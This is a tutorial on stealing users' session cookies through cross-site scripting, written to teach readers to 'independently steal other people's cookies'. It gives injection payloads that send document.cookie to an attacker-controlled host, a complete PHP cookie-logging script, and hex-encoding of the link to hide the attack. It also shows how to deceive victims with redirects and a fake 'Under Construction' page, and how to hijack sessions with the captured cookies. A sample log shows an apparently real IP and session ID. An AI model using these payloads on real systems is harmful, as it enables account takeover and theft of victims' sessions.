Stealing Cookie With XSS

Introduction
XSS (cross site scripting) is usually criticized. It is said that XSS can do nothing, actually. All it can do is make a nice little alert box on your screen, telling you your cookies. That is a wrong assumption. Although it may be slightly difficult, you can use XSS to steal a user’s cookies. Cookies are used to store valuable information such as Username, Password, IP address and much more. This tutorial aims at teaching you Cookie Stealing, and by the end of this text file, you should be able to independently steal other people’s cookies.
DISCLAIMER:
This text is for educational purposes only. The author will not be held liable for any damages that occur from a reader for following this text or even learning from it.


Now we need to understand a bit more about how XSS actually works before moving on. From the above article, you already know a bit of the theory behind XSS, so we'll get right to the code. Let's say a web page has a search function that uses this code:

Code:

<tr><td>Name</td><td><input type="text" name="advisor_name" value=""></td></tr>

We want to exploit this page using XSS. How do we do that? We know that we want to inject our own script into the value field (this field is tied to the search box we can enter text into). We could start by using a test script:

Code:

<script>alert("test")</script>

When we enter this into the search box and click search, nothing happens. Why? It's still inside the value quotes, which turn the entire script into plaintext. If you look at the page source now, you see that the above portion of code now looks like this:

Code:

<tr><td>Name</td><td><input type="text" name="advisor_name" value="<script>alert("test")</script>"></td></tr>

Note the quotes around our script. So what do we do? We need to end the value field before our script can actually be executed. So we tweak our test injection a bit:

Code:

"><script>alert("test")</script>

This should close the quotes end the input section so that our script can be rendered as a part of the source instead of plaintext. And now when we hit enter we get a nice pop-up box saying "test", showing us our script was executed. Keep in mind that you're not actually writing this data to the server (unless you're injecting it with a script that actually modifies the page on the server's end also, like a guestbook or comment script), just changing how the dynamic page is acting on your end. If you want someone else to see what you see when you use this injection, you need to send them the link with that injection already in the page. For example, 

Code:

http://www.site.com/search.php?q="><script>alert("test")</script>

Of course, if you don't want the recipient to see the injection, you'll need to hex the query. You can do that here:

Code:

http://centricle.com/tools/ascii-hex/

Hexing the query of this url gives us

Code:

http://www.site.com/search.php?q=%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%74%65%73%74%22%29%3c%2 f%73%63%72%69%70%74%3e

The above is a very simple case of finding an XSS injection vulnerability. Some html and javascript knowledge is definitely helpful for finding more complicated ones, but code like the above works often enough.

Using XSS to Steal Cookies

OK, so now you know the page is vulnerable to XSS injection. Great. Now what? You want to make it do something useful, like steal cookies. Cookie stealing is when you insert a script into the page so that everyone that views the modified page inadvertently sends you their session cookie. By modifying your session cookie (see the above linked tutorial), you can impersonate any user who viewed the modified page. So how do you use XSS to steal cookies?

The easiest way is to use a three-step process consisting of the injected script, the cookie recorder, and the log file.

First you'll need to get an account on a server and create two files, log.txt and whateveryouwant.php. You can leave log.txt empty. This is the file your cookie stealer will write to. Now paste this php code into your cookie stealer script (whateveryouwant.php):

Code:

<?php 

function GetIP() 
{ 
 if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) 
  $ip = getenv("HTTP_CLIENT_IP"); 
 else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) 
  $ip = getenv("HTTP_X_FORWARDED_FOR"); 
 else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) 
  $ip = getenv("REMOTE_ADDR"); 
 else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) 
  $ip = $_SERVER['REMOTE_ADDR']; 
 else 
  $ip = "unknown"; 
 return($ip); 
} 

function logData() 
{ 
 $ipLog="log.txt"; 
 $cookie = $_SERVER['QUERY_STRING']; 
 $register_globals = (bool) ini_get('register_gobals'); 
 if ($register_globals) $ip = getenv('REMOTE_ADDR'); 
 else $ip = GetIP(); 

 $rem_port = $_SERVER['REMOTE_PORT']; 
 $user_agent = $_SERVER['HTTP_USER_AGENT']; 
 $rqst_method = $_SERVER['METHOD']; 
 $rem_host = $_SERVER['REMOTE_HOST']; 
 $referer = $_SERVER['HTTP_REFERER']; 
 $date=date ("l dS of F Y h:i:s A"); 
 $log=fopen("$ipLog", "a+"); 

 if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog)) 
  fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE:  $cookie <br>"); 
 else 
  fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer |  DATE: $date | COOKIE:  $cookie \n\n"); 
 fclose($log); 
} 

logData(); 

?>

This script will record the cookies of every user that views it. 

Now we need to get the vulnerable page to access this script. We can do that by modifying our earlier injection:

Code:

"><script language= "JavaScript">document.location="http://yoursite.com/whateveryouwant.php?cookie=" + document.cookie;document.location="http://www.whateversite.com"</script>

yoursite.com is the server you're hosting your cookie stealer and log file on, and whateversite.com is the vulnerable page you're exploiting. The above code redirects the viewer to your script, which records their cookie to your log file. It then redirects the viewer back to the unmodified search page so they don't know anything happened. Note that this injection will only work properly if you aren't actually modifying the page source on the server's end. Otherwise the unmodified page will actually be the modified page and you'll end up in an endless loop. While this is a working solution, we could eliminate this potential issue when using source-modifying injections by having the user click a link that redirects them to our stealer:

Code:

"><a href="#" onclick="document.location='http://yoursite.com/whateveryouwant.php?cookie=' +escape(document.cookie);"><Click Me></a></script>

This will eliminate the looping problem since the user has to cilck on it for it to work, and it's only a one-way link. Of course, then the user's trail ends at your cookie stealing script, so you'd need to modify that code a little to keep them from suspecting what's going on. You Could just add some text to the page saying something like "under construction" by changing the end of our php script from this:

Code:

logData(); 
?>

to this:

Code:

logData();

echo '<b>Page Under Construction</b>'
?>

Now when you open log.txt, you should see something like this:

Code:

IP: 125.16.48.169 | PORT: 56840 | HOST:  |  Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 | METHOD:  | REF: http://www.ifa.org.nz/search.php |  

DATE: Tuesday 21st 2009f April 2009 05:04:07 PM | COOKIE:  cookie=PHPSESSID=889c6594db2541db1666cefca7537373

You will most likely see many other fields besides PHPSESSID, but this one is good enough for this example. Now remember how to edit cookies like I showed you earlier? Open up firebug and add/modify all your cookie's fields to match the data from the cookie in your log file and refresh the page. The server thinks you're the user you stole the cookie from. This way you can log into accounts and many other things without even needing to know the passwords or usernames.

Summary

So in summary:
1. Test the page to make sure it's vulnerable to XSS injections.
2. Once you know it's vulnerable, upload the cookie stealer php file and log file to your server.
3. Insert the injection into the page via the url or text box.
4. Grab the link of that page with your exploited search query (if injection is not stored on the server's copy of the page).
5. Get someone to use that link if necessary.
6. Check your log file for their cookie.
7. Modify your own cookie to match the captured one and refresh the page.

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